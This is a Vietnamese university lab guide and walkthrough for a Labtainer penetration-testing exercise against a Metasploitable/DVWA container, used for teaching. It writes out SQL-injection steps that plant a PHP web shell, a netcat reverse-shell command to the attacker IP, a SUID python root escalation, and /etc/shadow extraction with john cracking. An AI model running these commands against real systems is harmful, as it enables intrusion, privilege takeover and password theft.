Đầu tiên chạy lệnh sudo cp ffuf/ffuf /usr/local/bin/ để có thể sử dụng ffuf • Sau đó tiến hành fuzzing máy chủ web nạn nhân : ffuf -w -u /FUZZ Nhiệm vụ của bạn là tìm được miền có tên s
Nội dung và hướng dẫn thực hiện bài thực hành
Mục đích
− Giúp sinh viên biết cách sử dụng ffuf ,john,khai thác lỗi sqli ,nâng cao đặc quyền, sử dụng python để viết script giải các loại mật mã khác nhau.
Yêu cầu đối với sinh viên
− Có kiến thức cơ bản về hệ điều hành Linux, python,Lỗ hổng sql-injection,các kĩ thuật nâng cao đặc quyền.
Nội dung thực hành
• Khởi động bài lab: o Vào terminal, gõ: startlab explore_lab
(chú ý: sinh viên sử dụng email stu.ptit.edu.vn của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)
Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: attacker , một cái là đại diện cho máy nạn nhân: victim Biết rằng 2 máy nằm cùng mạng LAN
Task 1: Xác định địa chỉ IP và các dịch vụ bằng nmap
• Trên terminal attacker sử dụng lệnh “ifconfig”, xác định địa chỉ IP và địa chỉ mạng LAN
• Trên máy khách attacker sử dung nmap để tìm ra địa chỉ IP của máy victim vì chúng cùng nằm trong mạng LAN nmap –sP
Tiếp tục sử dụng nmap để tìm cổng dịch vụ đang mở trên máy victim nmap
Task 2: Sử dụng ffuf để fuzzing web
• Sau khi xác định được cổng http đang mở Sử dụng ffuf để liệt kê các miền trong webserver :
5 Đầu tiên chạy lệnh sudo cp ffuf/ffuf /usr/local/bin/ để có thể sử dụng ffuf
• Sau đó tiến hành fuzzing máy chủ web nạn nhân : ffuf -w -u /FUZZ
Nhiệm vụ của bạn là tìm được miền có tên sqli
Task 3: Tạo 1 reverse shell kết nội đến máy attacker
• Tiến hành truy cập web server bằng trình duyệt firefox firefox
• Truy cập vào trang dvwa thì thấy yêu cầu đăng nhập (bạn hãy quan sát kĩ trang này để tìm được username và password)
• Sau khi đăng nhập thành công chọn mục sercurity và chỉnh xuống low và click submit
• Tiếp theo tiến hành truy cập vào trang sqli và quan sát
Bạn hãy nhập thử ‘ order by 2 # với các số khác nhau để tìm được số trường dữ liệu phục vụ cho việc tạo shell
Sau đó hãy tiến hành tạo một file có tên cmd.php với nội dung là Vào thư mục /var/www/dvwa (gợi ý : sử dụng toán tử union select để kết hợp kết quả của 2 truy vấn và câu lệnh into outfile để ghi một file : ‘ union , < truy vấn 2> #)
Task 4: Kết nối reverse shell
• Sau khi tạo được file revreshell thành công trên máy attacker khởi động netcat để lắng nghe kết nối : nc -lnvp
• Trên trình duyệt firefox lúc này ta truy cập vào file cmd.php vừa tạo và thử với vào câu lệnh whoami, uname -a
• Bạn hãy tạo một shell kết nối đến máy tấn công.(tạo một shell bằng netcat ,php,python, kết nối đến kênh kết nối từ attacker)
Task 5: Leo thang đặc quyền root
• Sau khi kết nối thành công, bạn hãy leo lên quyền root bằng cách kiểm tra các tệp tin có quyền thực thi s-bit (SUID) find / -perm -u=s -type f 2>/dev/null
(gợi ý : sử dụng python suid)
Task 6:Đọc File bí mật
• Sau khi leo lên quyền root tiến hành đọc file trong thư mục /root bạn hãy quan sát nội dung file để tìm được thông tin quan trọng
Task 7 : Crack password bằng john
• Việc tiếp theo bạn phải làm đó chính là lấy được tệp dữ liệu trên máy victim
Dựa trên thông tin vừa nhận được trong task 6 hãy truy nhập đến vị trí của tệp dữ liệu đó và quan sát
• Tiếp theo chúng ta cần crack password của nạn nhân để truy cập vào chuyển file dữ liệu về máy tấn công
• Chúng ta sẽ lấy file shadow của nạn nhân : cat /etc/shadow
• Tiến hành copy và lưu thông tin vào máy attacker
• Sử dụng john để brute force phá mật khẩu : john -w=wordlist.txt
Task 8:Giải mã file dữ liệu
• Sau khi phá được mật khẩu tiến hành ssh vào máy nạn nhân: ssh @
• Tiến hành chuyển file dữ liệu về máy attacker để giải mã: scp ubuntu@:~/
• Quan sát file dữ liệu và chỉnh sửa file decode_challenge.py để giải mã giữ liệu nhận được flag python2 decode_challenge.py
(Gợi ý :chỉnh sửa sao cho có thể giải mã base64,hex,rot13,bigint,utf-8 từ file dữ liệu đầu vào dạng json)
Trên terminal đầu tiên sử dụng câu lênh sau để kết thúc bài lab: stoplab explore_lab
Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab
• Khởi động lại bài lab:
Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh: startlab –r explore_lab
Phân tích, thiết kế bài thực hành
Phân tích yêu cầu bài thực hành
Bài thực hành cần có hai máy tính nằm trong cùng mạng LAN Trong đó một máy làm tấn công, một máy làm máy nạn nhân chứa tệp tin mà sinh viên cần tìm ra và các lỗ hổng để tấn công Trên máy tấn công cần cài đặt phần mềm nmap và máy chủ apache Sử dụng dịch vụ nmap để tìm cổng của máy chủ Để hoàn thành bài thực hành, sinh viên cần sử dụng máy tấn công để truy cập vào trang web của máy nạn nhân và thực hiện cuộc tấn công sql injection và mở 1 revershell trên máy nạn nhân, từ đó leo thang lên quyền root và tìm kiếm các thông tin nhạy cảm như file chứa mật khẩu,file dữ liệu Để đáp ứng yêu cầu bài thực hành, cần cung cấp máy ảo chứa docker trong đó có 2 containers, mỗi container là một máy tính ảo chạy hệ điều hành Linux là máy tấn công và máy nạn nhân Để có thể thực hiện được việc rà quét lỗ hổng thì hệ thống cần cung cấp khả năng thiết lập một mạng LAN giữa máy chủ và máy khách, đồng thời cung cấp các thư viện cần cho máy tấn công và máy nạn nhân để sử dụng được dịch vụ ssh Trên máy tấn công cần cài đặt và sử dụng được công cụ nmap, máy chủ web apache2, trình duyệt web firefox và công cụ netcat Hệ thống cần ghi lại được các thao tác sử dụng công cụ nmap, netcat của sinh viên thông qua các câu lệnh để tạo ra được kết quả đánh giá Hệ thống yêu cầu sinh viên nhập email gắn liền với danh tính của sinh viên, và ghi lại thao tác mở tệp phía máy chủ để thực hiện việc cá nhân hóa cho từng sinh viên Để bắt đầu bài thực hành, sinh viên cần phải sử dụng các câu lệnh khởi tạo (startlab ) và câu lệnh kết thúc (stoplab ) để hệ thống chạy bài lab cũng như lưu lại kết quả
Thiết kế bài thực hành
Trên môi trường máy ảo Ubuntu được cung cấp, sử dụng docker tạo ra 2 container: 1 container mang tên “attacker” đóng vai trò máy khách và 1 container mang tên “victim” đóng vai trò máy chủ, 2 máy đều được mở các cổng cần thiết Hình 1.1 mô tả sơ đồ thiết kế bài thực hành
Hình 1 Sơ đồ thiết kế bài thực hành
- Tạo mạng LAN “INTRANET” có cấu hình: 192.168.1.0/24 và gateway:
192.168.1.254 - Cấu hình docker gồm có:
● Attacker: lưu cấu hình cho máy khách, trong đó gồm có:
▪ Địa chỉ trong mạng LAN: 192.168.1.1
● Victim: lưu cấu hình cho máy chủ, trong đó gồm có:
▪ Địa chỉ trong mạng LAN: 192.168.1.2
● config: lưu cấu hình hoạt động của hệ thống
● dockerfiles: mô tả cấu hình của 2 container: attacker và victim, trong đó:
▪ attacker: sử dụng image network2 và cài thêm công cụ netcat,firefox,git,curl,john,ffuf
▪ victim: sử dụng image metasploitable
● docs: lưu phần mô tả hướng dẫn làm bài thực hành cho sinh viên
▪ Các nhiệm vụ cần phải thực hiện để thực hành thành công:
✔ Sử dụng câu lệnh “ifconfig” để kiểm tra địa chỉ mạng LAN của máy “attacker”
✔ Trên máy “attacker” sử dung nmap để tìm ra các máy trong mạng và từ đó quét các cổng dịch vụ của máy “victim”
✔ Sau khi xác định được cổng http đang mở Sử dụng firefox để truy cập vào web đang chạy trên máy “victim”
✔ Tại máy “attacker”, dung công cụ netcat để chờ kết nối từ máy
✔ Sau khi truy cập được vào web đang chạy trên máy “victim” thì thực hiện cuộc tấn công sql injection, tạo revershell từ máy
“victim” kết nối đến máy attacker
✔ Từ reverse shell trên máy “attacker”, tiến hành leo thang đặc quyền root
✔ Đọc file trong thư mục “/root”
✔ Copy file shadow về máy “attacker”
✔ Sử dụng john crack password
✔ Ssh vào máy nạn nhân
✔ Sử dụng scp chuyển file data về máy
✔ Tiến hành giải mã nội dung đã được mã hóa trong file bằng 1 chương trình python
✔ Kết thúc bài lab và đóng gói kết quả
● instr_config: lưu cấu hình cho phần nhận kết quả và chấm điểm
- Thiết lập hệ thống mạng sao cho máy tấn công và máy nạn nhân cùng một mạng LAN
- Các thư viện cần cho máy tấn công và máy nạn nhân để sử dụng được dịch vụ ssh,netcat
10 - Máy nạn nhân cần cài dịch vụ web, ssh,netcat o Tạo ra file ẩn chứa dữ liệu được mã hóa data.json và file cá nhân hóa filetoview.txt
- Máy tấn công cần được cài công cụ nmap, netcat,curl,git.ffuf, trình duyệt firefox,john
● Tạo ra tệp trên máy tấn công mang tên fuzz_dic.txt,wordlist.txt, decode_challenge.py
● Sau khi hoàn thành bài thực hành, hệ thống cần tự động lưu lại kết quả vào 1 file
- Để đánh giá được sinh viên đã hoàn thành bài thực hành hay chưa, cần chia bài thực hành thành các nhiệm vụ nhỏ, mỗi nhiệm vụ cần phải chỉ rõ kết quả để có thể dựa vào đó đánh giá, chấm điểm Do vậy, trong bài thực hành này hệ thống cần ghi nhận các thao tác, sự kiện được mô tả và cấu hình như bảng 1.1, 1.2, 1.3:
Cấu hình cho việc cá nhân hóa
Operator File name Symbol Hashed string Step
HASH_REPLAC E victim:/root/ filetoview.tx t
Cấu hình cho kiểm tra kết quả
Container File Field Type Field ID Timestam p Type nmap attacker nmap.stdout CONTAIN
80/tcp open http file fuzzing attacker ffuf.stdout CONTAIN
11 create_she ll cictim /var/www/dv wa/cmd.php
"]) file connected attacker nc.stdout CONTAIN
Connection received on 192.168.1.2 file privilege_ escalation attacker nc.stdout CONTAIN
S root file crackpass attacker john.stdout CONTAIN
S msfadmin (msfadmin) file view_secr et_file attacker nc.stdout TOKEN 2:STARTS
FLAG: file decoded attacker python2.stdo ut
CONTAIN S eneisaiiwcs balvshstbsr rnbracagcm pthrpvpdik file
Parameter viewfile matchany String_equal View_secret_file Parameter FSTRING
● Sau khi nhận được file đóng gói từ sinh viên, giảng viên sử dụng chức năng chấm điểm để xem kết quả được thiết kế dạng bảng trong đó ghi rõ email của sinh viên thực hiện, từng tiêu chí chấm điểm được ghi nhận ( nếu có chữ “Y” là đã hoàn thành, nếu không có là chưa hoàn thành) và kết luận là sinh viên đã hoàn thành bài thực hành đó hay chưa Kiểm tra bài thực hành đúng do sinh viên làm bằng cách kiểm tra email
Create _shell revrese_shell Privilege_esc alation
Cài đặt và cấu hình các máy ảo
Cấu hình file máy ảo:
Cần cài thêm công cụ netcat, trình duyệt firefox, git,curl,john,ffuf
Thử nghiệm và đánh giá
Chúng tôi đã xây dựng thành công bài thực hành, dưới đây là các hình ảnh minh họa về bài thực hành:
Khởi chạy bài lab : labtainer -r explore_lab
Hình 10 Khởi chạy bài thực hành
16 Kiểm tra thông tin mạng con:
Hình 11 Kiểm tra thông tin mạng LAN
Quét các máy trong mạng:
Quét các dịch vụ đang mở: nmap 192.168.1.2
Hình 13 Quét các dịch vụ
Copy ffuf vào thư mục /usr/local/bin: sudo cp ffuf/ffuf /usr/local/bin/
18 Sử dụng ffuf liệt kê các thư mục trong host 192.168.1.2 ffuf -w fuzz_dic.txt -u http://192.168.1.2/FUZZ
Fuff tìm thư mục trong Miền 192.168.1.2/dvwa ffuf -w fuzz_dic.txt -u http://192.168.1.2/dvwa/FUZZ
Fuff tìm thư mục trong miền 192.168.1.2/dvwa/vulnerabilities
19 ffuf -w fuzz_dic.txt -u http://192.168.1.2/dvwa/vulnerabilities/FUZZ
Truy cập 192.168.1.2/dvwa bằng trình duyệt firefox thì thấy yêu cầu đăng nhập
Sau khi đăng nhập với người dùng admin thì truy cập mục security và chỉnh xuống low
Truy cập vào mục sqli và thử với user id =1 thấy trả kết quả :
Thử với ‘ order by 3 # thì thấy báo lỗi => có 2 cột
Tiến hành tạo một file cmd.php có nội dung là
Vào thư mục /var/www/dvwa
Truy cập vào file cmd.php từ firefox
Hình 27 truy cập cmd.php
192.168.1.2/dvwa/cmd.php?cmd=whoami
192.168.1.2/dvwa/cmd.php?cmd=uname -a
Trên máy attacker khởi động netcat lắng nghe trên cổng 1234 nc -lnvp 1234
Tạo một revershell kết nối từ máy victim đến attacker
192.168.1.2/dvwa/cmd.php?cmd=nc 192.168.1.1 1234 -e /bin/bash
Hình 31 Tạo shell kết nối
Hình 32 Kết nối thành công
Thử đọc 1 số file trên netcat shell thấy không đọc được cat /root/filetoview.txt
Hình 34 Đọc file trên shell
Tìm kiếm các tệp tin có quyền thực thi s-bit find / -perm -u=s -type f 2>/dev/null
Hình 35 Tìm File có quyền thực thi SUID
Sử dụng python để leo lên quyền root python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Hình 36 Leo thang đặc quyền
Hình 37 Checkwork5 Đọc filetoview.txt phát hiện thông tin ẩn cat /root/filetoview.txt
Hình 38 Đọc file cá nhân hóa
Hình 39 Checkwork6 cd vào thư mục data phát hiện file ẩn data.json cd /data ls -la
Hình 40 Tìm được file dữ liệu ẩn Đọc file data.json cat data.json
Hình 41 Đọc file dữ liệu
Do file dữ liệu khá là dài nên ta tiến hành crack password của nạn nhân để có thể ssh vào sử dụng scp chuyển file về máy attacker Đọc file /etc/shadow lấy về máy attacker lưu vào file password.txt cat /etc/shadow
Hình 43 Lưu vào file password.txt trên máy attacker
Sử dụng john để crack pass với wordlist.txt john -w=wordlist.txt password.txt
Ssh vào tài khoản msfadmin ssh msfadmin@192.168.1.2 nhập password: msfadmin
Sử dụng scp chuyển file data.json về máy scp data.json ubuntu@192.168.1.1:~/ nhập password : ubuntu
Hình 47 Chuyển file về máy attacker
Trên máy attacker đã nhận được file data.json
Hình 48 Nhận được file dữ liệu trên máy attacker
Nhận thấy đây là 1 file chứa nhiều loại mã hóa
Hình 49 Đọc file dữ liệu
Chỉnh sửa file decode_challenge.py
Sau khi chỉnh sửa xong tiến hành chạy file để giải mã Sử dụng python2 python2 decode_challenge.py data.json
Giải mã thành công nhận được FLAG Checkwork kết thúc toàn bộ bài thực hành :
Hướng dẫn tải bài thực hành từ imodule và module chấm điểm
Tải imodule chứa bài thực hành về máy ảo labtainer : Có thể clone về trong máy bằng git git clone https://github.com/congtoan123/ANM
Hoặc tải trực tiếp về rồi đưa vào máy ảo labtainer
Hình 56 Tải từ trình duyệt về
Hình 57 Giải nén imodule.zip
Hình 58 copy vào labtainer/trunk/labs
Tiến hành cope file vào thư mục /labtainer/trunk/labs Chạy lab : labtainer explore_lab
Hình 62 Tạo thành công file csv từ json